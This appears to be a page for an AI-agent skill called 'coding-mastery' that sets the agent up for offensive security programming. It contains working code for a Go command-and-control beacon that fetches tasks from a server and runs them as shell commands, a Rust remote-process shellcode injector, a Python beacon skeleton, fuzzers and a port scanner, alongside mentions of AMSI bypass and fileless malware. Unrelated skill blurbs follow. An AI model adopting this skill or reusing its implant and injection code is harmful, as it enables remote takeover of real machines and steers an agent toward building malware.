Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation
npx skills add https://github.com/hypnguyen1209/offensive-claude --skill coding-mastery
# Exploit development with pwntools
from pwn import *
context(arch='amd64', os='linux')
# Network programming
import socket, ssl, struct
import asyncio, aiohttp # async operations
# Web exploitation
import requests, urllib3
from bs4 import BeautifulSoup
# Crypto
from Crypto.Cipher import AES, DES
from Crypto.PublicKey import RSA
import hashlib, hmac
# Binary analysis
import struct, ctypes
from capstone import * # disassembly
from unicorn import * # emulation
from keystone import * # assembly
// Shellcode development
// Position-independent code, null-free
// Syscall-based (avoid libc dependency)
// Kernel module development
#include <linux/module.h>
#include <linux/kernel.h>
// Windows API abuse
#include <windows.h>
#include <winternl.h>
// Direct syscalls, NTAPI
// Memory manipulation
// Custom allocators, heap spray, ROP gadget finders
// Implant development (cross-compile, static binary)
// C2 communication (HTTP/DNS/named pipes)
// Network scanning and enumeration
// Proxy/tunnel tools (chisel-like)
// Advantages: single binary, cross-platform, fast, good crypto stdlib
// Memory-safe exploit tooling
// High-performance scanners
// Custom protocol implementations
// Fuzzing harnesses
# AMSI bypass, ETW patching
# In-memory execution (reflection)
# AD enumeration and exploitation
# Fileless malware techniques
; Shellcode
; ROP gadgets
; Anti-debugging
; Kernel exploitation
; Architecture-specific tricks
import asyncio
from dataclasses import dataclass
from typing import AsyncIterator
@dataclass
class Finding:
severity: str
target: str
vulnerability: str
evidence: str
class Scanner:
def __init__(self, targets: list[str], concurrency: int = 50):
self.targets = targets
self.semaphore = asyncio.Semaphore(concurrency)
async def scan_target(self, target: str) -> list[Finding]:
async with self.semaphore:
# Implement scan logic
pass
async def run(self) -> AsyncIterator[Finding]:
tasks = [self.scan_target(t) for t in self.targets]
for coro in asyncio.as_completed(tasks):
findings = await coro
for f in findings:
yield f
import base64, json, time, random
from cryptography.fernet import Fernet
class Beacon:
def __init__(self, server: str, key: bytes, jitter: float = 0.3):
self.server = server
self.cipher = Fernet(key)
self.jitter = jitter
self.sleep_time = 60
def encrypt(self, data: bytes) -> str:
return base64.b64encode(self.cipher.encrypt(data)).decode()
def decrypt(self, data: str) -> bytes:
return self.cipher.decrypt(base64.b64decode(data))
def sleep(self):
jitter = random.uniform(1 - self.jitter, 1 + self.jitter)
time.sleep(self.sleep_time * jitter)
def checkin(self) -> dict:
# POST encrypted system info, receive tasking
pass
import struct
class ProtocolParser:
def __init__(self, data: bytes):
self.data = data
self.offset = 0
def read_u8(self) -> int:
val = struct.unpack_from('B', self.data, self.offset)[0]
self.offset += 1
return val
def read_u16(self) -> int:
val = struct.unpack_from('>H', self.data, self.offset)[0]
self.offset += 2
return val
def read_u32(self) -> int:
val = struct.unpack_from('>I', self.data, self.offset)[0]
self.offset += 4
return val
def read_bytes(self, n: int) -> bytes:
val = self.data[self.offset:self.offset + n]
self.offset += n
return val
def read_string(self) -> str:
length = self.read_u16()
return self.read_bytes(length).decode()
# AES-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
key = AESGCM.generate_key(bit_length=256)
aes = AESGCM(key)
nonce = os.urandom(12)
ct = aes.encrypt(nonce, plaintext, associated_data)
pt = aes.decrypt(nonce, ct, associated_data)
# RSA key generation and usage
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()
# Encrypt
ct = public_key.encrypt(plaintext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None))
# HMAC for integrity
import hmac, hashlib
mac = hmac.new(key, message, hashlib.sha256).digest()
# Key derivation
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000)
key = kdf.derive(password)
import os, signal, subprocess, struct, random
from multiprocessing import Pool
class CoverageFuzzer:
def __init__(self, target_binary, corpus_dir, crashes_dir):
self.target = target_binary
self.corpus = self._load_corpus(corpus_dir)
self.crashes_dir = crashes_dir
self.coverage = set()
def mutate(self, data: bytes) -> bytes:
mutations = [
self._bit_flip,
self._byte_flip,
self._insert_interesting,
self._splice,
self._havoc,
]
mutator = random.choice(mutations)
return mutator(data)
def _bit_flip(self, data: bytes) -> bytes:
d = bytearray(data)
pos = random.randint(0, len(d) * 8 - 1)
d[pos // 8] ^= (1 << (pos % 8))
return bytes(d)
def _insert_interesting(self, data: bytes) -> bytes:
interesting = [0, 1, 0x7f, 0x80, 0xff, 0xffff, 0x7fffffff, 0x80000000, 0xffffffff]
d = bytearray(data)
pos = random.randint(0, len(d) - 4)
val = random.choice(interesting)
struct.pack_into('<I', d, pos, val & 0xffffffff)
return bytes(d)
def run_target(self, input_data: bytes) -> tuple:
"""Returns (exit_code, new_coverage)"""
proc = subprocess.run(
[self.target], input=input_data, capture_output=True,
timeout=5, env={**os.environ, 'ASAN_OPTIONS': 'detect_leaks=0'}
)
if proc.returncode < 0: # Signal = crash
return (proc.returncode, True)
return (proc.returncode, False)
def fuzz_loop(self, iterations=100000):
for i in range(iterations):
seed = random.choice(self.corpus)
mutated = self.mutate(seed)
code, crashed = self.run_target(mutated)
if crashed:
crash_path = f"{self.crashes_dir}/crash_{i:06d}"
open(crash_path, 'wb').write(mutated)
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/json"
"io"
"net/http"
"os/exec"
"runtime"
"time"
)
type Beacon struct {
Server string
Key []byte
Sleep time.Duration
Jitter float64
KillDate time.Time
}
type Task struct {
ID string `json:"id"`
Command string `json:"cmd"`
Args string `json:"args"`
}
type Result struct {
TaskID string `json:"task_id"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
func (b *Beacon) Encrypt(data []byte) ([]byte, error) {
block, _ := aes.NewCipher(b.Key)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
io.ReadFull(rand.Reader, nonce)
return gcm.Seal(nonce, nonce, data, nil), nil
}
func (b *Beacon) Decrypt(data []byte) ([]byte, error) {
block, _ := aes.NewCipher(b.Key)
gcm, _ := cipher.NewGCM(block)
nonceSize := gcm.NonceSize()
return gcm.Open(nil, data[:nonceSize], data[nonceSize:], nil)
}
func (b *Beacon) CheckIn() (*Task, error) {
sysinfo := map[string]string{
"os": runtime.GOOS, "arch": runtime.GOARCH,
}
body, _ := json.Marshal(sysinfo)
enc, _ := b.Encrypt(body)
resp, err := http.Post(b.Server+"/api/beacon",
"application/octet-stream",
bytes.NewReader(enc))
if err != nil { return nil, err }
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
dec, _ := b.Decrypt(respBody)
var task Task
json.Unmarshal(dec, &task)
return &task, nil
}
func (b *Beacon) Execute(task *Task) *Result {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe", "/c", task.Args)
default:
cmd = exec.Command("/bin/sh", "-c", task.Args)
}
output, err := cmd.CombinedOutput()
result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)}
if err != nil { result.Error = err.Error() }
return result
}
import socket, struct, random, itertools
from dataclasses import dataclass, field
@dataclass
class ProtocolField:
name: str
fmt: str # struct format
value: int = 0
fuzzable: bool = True
@property
def size(self): return struct.calcsize(self.fmt)
def pack(self): return struct.pack(self.fmt, self.value)
def fuzz(self):
boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2]
return random.choice(boundaries + [random.randint(0, self.max_val)])
@property
def max_val(self): return (1 << (self.size * 8)) - 1
class ProtocolFuzzer:
def __init__(self, host, port, fields: list[ProtocolField]):
self.host, self.port = host, port
self.fields = fields
def build_packet(self, fuzz_field=None) -> bytes:
pkt = b''
for f in self.fields:
if f.name == fuzz_field and f.fuzzable:
pkt += struct.pack(f.fmt, f.fuzz())
else:
pkt += f.pack()
return pkt
def send(self, packet: bytes) -> bytes:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((self.host, self.port))
s.send(packet)
try: resp = s.recv(4096)
except: resp = b''
s.close()
return resp
def fuzz_all_fields(self, iterations=1000):
for i in range(iterations):
field = random.choice([f for f in self.fields if f.fuzzable])
pkt = self.build_packet(fuzz_field=field.name)
try:
resp = self.send(pkt)
if not resp:
print(f"[!] No response fuzzing {field.name} iter {i}")
except ConnectionRefusedError:
print(f"[!!!] CRASH fuzzing {field.name} iter {i}")
open(f"crash_{i}.bin", 'wb').write(pkt)
use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;
use windows_sys::Win32::Foundation::*;
pub struct ProcessInjector {
pid: u32,
handle: HANDLE,
}
impl ProcessInjector {
pub fn open(pid: u32) -> Result<Self, u32> {
let handle = unsafe {
OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
};
if handle == 0 { return Err(unsafe { GetLastError() }); }
Ok(Self { pid, handle })
}
pub fn inject(&self, shellcode: &[u8]) -> Result<HANDLE, u32> {
let base = unsafe {
VirtualAllocEx(self.handle, ptr::null(), shellcode.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
};
if base.is_null() { return Err(unsafe { GetLastError() }); }
let mut written = 0;
unsafe {
WriteProcessMemory(self.handle, base, shellcode.as_ptr() as _,
shellcode.len(), &mut written);
let mut old = 0u32;
VirtualProtectEx(self.handle, base, shellcode.len(),
PAGE_EXECUTE_READ, &mut old);
let thread = CreateRemoteThread(self.handle, ptr::null(),
0, Some(std::mem::transmute(base)), ptr::null(), 0, ptr::null_mut());
if thread == 0 { return Err(GetLastError()); }
Ok(thread)
}
}
}
impl Drop for ProcessInjector {
fn drop(&mut self) {
unsafe { CloseHandle(self.handle); }
}
}
import asyncio, socket, struct
from typing import AsyncIterator
async def scan_port(host: str, port: int, timeout: float = 1.0) -> int | None:
try:
_, writer = await asyncio.wait_for(
asyncio.open_connection(host, port), timeout=timeout)
writer.close()
await writer.wait_closed()
return port
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return None
async def scan_host(host: str, ports: range, concurrency: int = 500) -> AsyncIterator[int]:
sem = asyncio.Semaphore(concurrency)
async def _scan(port):
async with sem:
return await scan_port(host, port)
tasks = [asyncio.create_task(_scan(p)) for p in ports]
for task in asyncio.as_completed(tasks):
result = await task
if result:
yield result
async def service_detect(host: str, port: int) -> str:
"""Grab banner for service identification"""
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(host, port), timeout=2.0)
# Send probe
writer.write(b'\r\n')
await writer.drain()
banner = await asyncio.wait_for(reader.read(1024), timeout=2.0)
writer.close()
return banner.decode(errors='ignore').strip()
except:
return ""
Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when building MCP servers to integrate external APIs or services, whether in Python (FastMCP) or Node/TypeScript (MCP SDK).
Automatically creates user-facing changelogs from git commits by analyzing commit history, categorizing changes, and transforming technical commits into clear, customer-friendly release notes. Turns hours of manual changelog writing into minutes of automated generation.
Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup
Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when building MCP servers to integrate external APIs or services, whether in Python (FastMCP) or Node/TypeScript (MCP SDK).
React Native and Expo best practices for building performant mobile apps. Use when building React Native components, optimizing list performance, implementing animations, or working with native modules. Triggers on tasks involving React Native, Expo, mobile performance, or native platform APIs.
React and Next.js performance optimization guidelines from Vercel Engineering. This skill should be used when writing, reviewing, or refactoring React/Next.js code to ensure optimal performance patterns. Triggers on tasks involving React components, Next.js pages, data fetching, bundle optimization, or performance improvements.
Next.js best practices - file conventions, RSC boundaries, data patterns, async APIs, metadata, error handling, route handlers, image/font optimization, bundling
Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification
Take hypnguyen1209/coding-mastery from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.